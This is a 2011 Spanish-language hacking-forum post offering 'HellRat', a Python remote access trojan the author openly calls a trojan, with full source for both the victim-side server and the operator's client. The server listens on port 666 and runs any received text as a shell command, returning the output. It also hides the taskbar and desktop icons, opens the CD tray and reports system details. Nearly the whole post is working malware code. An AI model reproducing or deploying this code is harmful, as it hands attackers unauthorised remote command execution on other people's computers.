elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:14  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Python] HellRat By Doddy H
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] HellRat By Doddy H  (Leído 151 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Python] HellRat By Doddy H
« en: 7 Octubre 2011, 01:37 »

Hola , aca traigo un troyano en python con las siguientes
opciones

  • Ocultar inicio
  • Mostrar inicio
  • Ocultar barra de tereas
  • Mostrar barra de tareas
  • Abrir CD
  • Cerrar CD
  • Ejecutar comandos
  • Mostrar informacion

server.py

Código
#!usr/bin/python
#Hell RAt (C) Doddy Hackman 2011
 
import socket,os,re,win32api,win32gui,win32con,ctypes,subprocess
 
print "\n\n[+] Online\n\n"
 
slave = socket.socket()
slave.bind(("",666))
slave.listen(999)
 
a,b = slave.accept()
 
while True:
rex = a.recv(20)
if re.findall("getso",rex):
 z = os.name
 a.send(z)
if re.findall("getpath",rex):
 h = os.getcwd()
 a.send(h)
if re.findall("ocultarinicio",rex):
 x = win32gui.FindWindow("Shell_TrayWnd","")
 win32gui.ShowWindow(x,win32con.SW_HIDE)
elif re.findall("mostrarinicio",rex):
 x = win32gui.FindWindow("Shell_TrayWnd","")
 win32gui.ShowWindow(x,win32con.SW_SHOWNORMAL)
elif re.findall("ocultaricono",rex):
 x = win32gui.FindWindow(0,"Program Manager")
 win32gui.ShowWindow(x,win32con.SW_HIDE)
elif re.findall("mostraricono",rex):
 x = win32gui.FindWindow(0,"Program Manager")
 win32gui.ShowWindow(x,win32con.SW_SHOWNORMAL)
elif re.findall("abrircd",rex):
 ctypes.windll.WINMM.mciSendStringW(u"set cdaudio door open", None, 0, None)
elif re.findall("cerrarcd",rex):
 ctypes.windll.WINMM.mciSendStringW(u"set cdaudio door closed", None, 0, None)
else:
 rea = subprocess.Popen(rex,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
 if re:
  a.send(rea.stdout.read())
 else:
  a.send(rea.stderr.read())
 
 
# The End  

cliente.py

Código
#!usr/bin/python 
#HellRat (C) Doddy Hackman 2011
 
import os,socket,sys
 
def head():
print "\n\n-- == hELLrAT == --\n\n"
 
def copyright():
print "\n\n(C) Doddy Hackman 2011\n\n"
 
def clean():
if sys.platform=="win32":
 os.system("cls")
else:
 os.system("clear")
 
def men():
 
try:
 ip = raw_input("[+] IP : ")
 client = socket.socket()
 client.connect((ip,666))
 while True:
  clean()
  print "\n\n[+] Welcome to ",ip,"\n\n"
  print "\n\n[1] Informacion"
  print "[2] CMD"
  print "[3] Abrir CD"
  print "[4] Cerrar CD"
  print "[5] Ocultar iconos"
  print "[6] Mostrar iconos"
  print "[7] Ocultar barra de tareas"
  print "[8] Mostrar barra de tareas"
  print "[9] Cambiar IP"
  print "[10] Salir"
  op = input("\n\n[Opcion] : ")
  if op == 1:
   print "\n\n[+] Informacion\n\n"
   client.send("getso")
   so = client.recv(999)
   client.send("getpath")
   path = client.recv(999)
   print "[+] SO : "+so  
   print "[+] Path : "+path
   raw_input()
  if op == 2:
   cmd = raw_input("\n[CMD] : ")
   client.send(cmd)
   code = client.recv(999)
   print code
   raw_input()
  if op == 3:
   client.send("abrircd")
  if op == 4:
   client.send("cerrarcd")
  if op == 5:
   client.send("ocultaricono")
  if op == 6:
   client.send("mostraricono")
  if op == 7:
   client.send("ocultarinicio")
  if op == 8:
   client.send("mostrarinicio")
  if op == 9:
   men()
  if op == 10:
   client.close()
   copyright()
   raw_input()
   sys.exit(1)
except:
 print "\n\n[-] Error\n\n"
head()
men()
 
# The End
 


« Última modificación: 8 Octubre 2011, 19:06 por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
Doddy 0 175 Último mensaje 7 Octubre 2011, 01:32
por Doddy
[Python] Fuzz DNS By Doddy H
Scripting
Doddy 0 127 Último mensaje 7 Octubre 2011, 01:34
por Doddy
[Python] HTTP Console By Doddy H
Scripting
Doddy 0 253 Último mensaje 7 Octubre 2011, 01:37
por Doddy
[Python] Phising Gen By Doddy H
Scripting
Doddy 0 508 Último mensaje 7 Octubre 2011, 01:39
por Doddy
[Python] Zapper By Doddy H
Scripting
Doddy 0 180 Último mensaje 7 Octubre 2011, 01:39
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines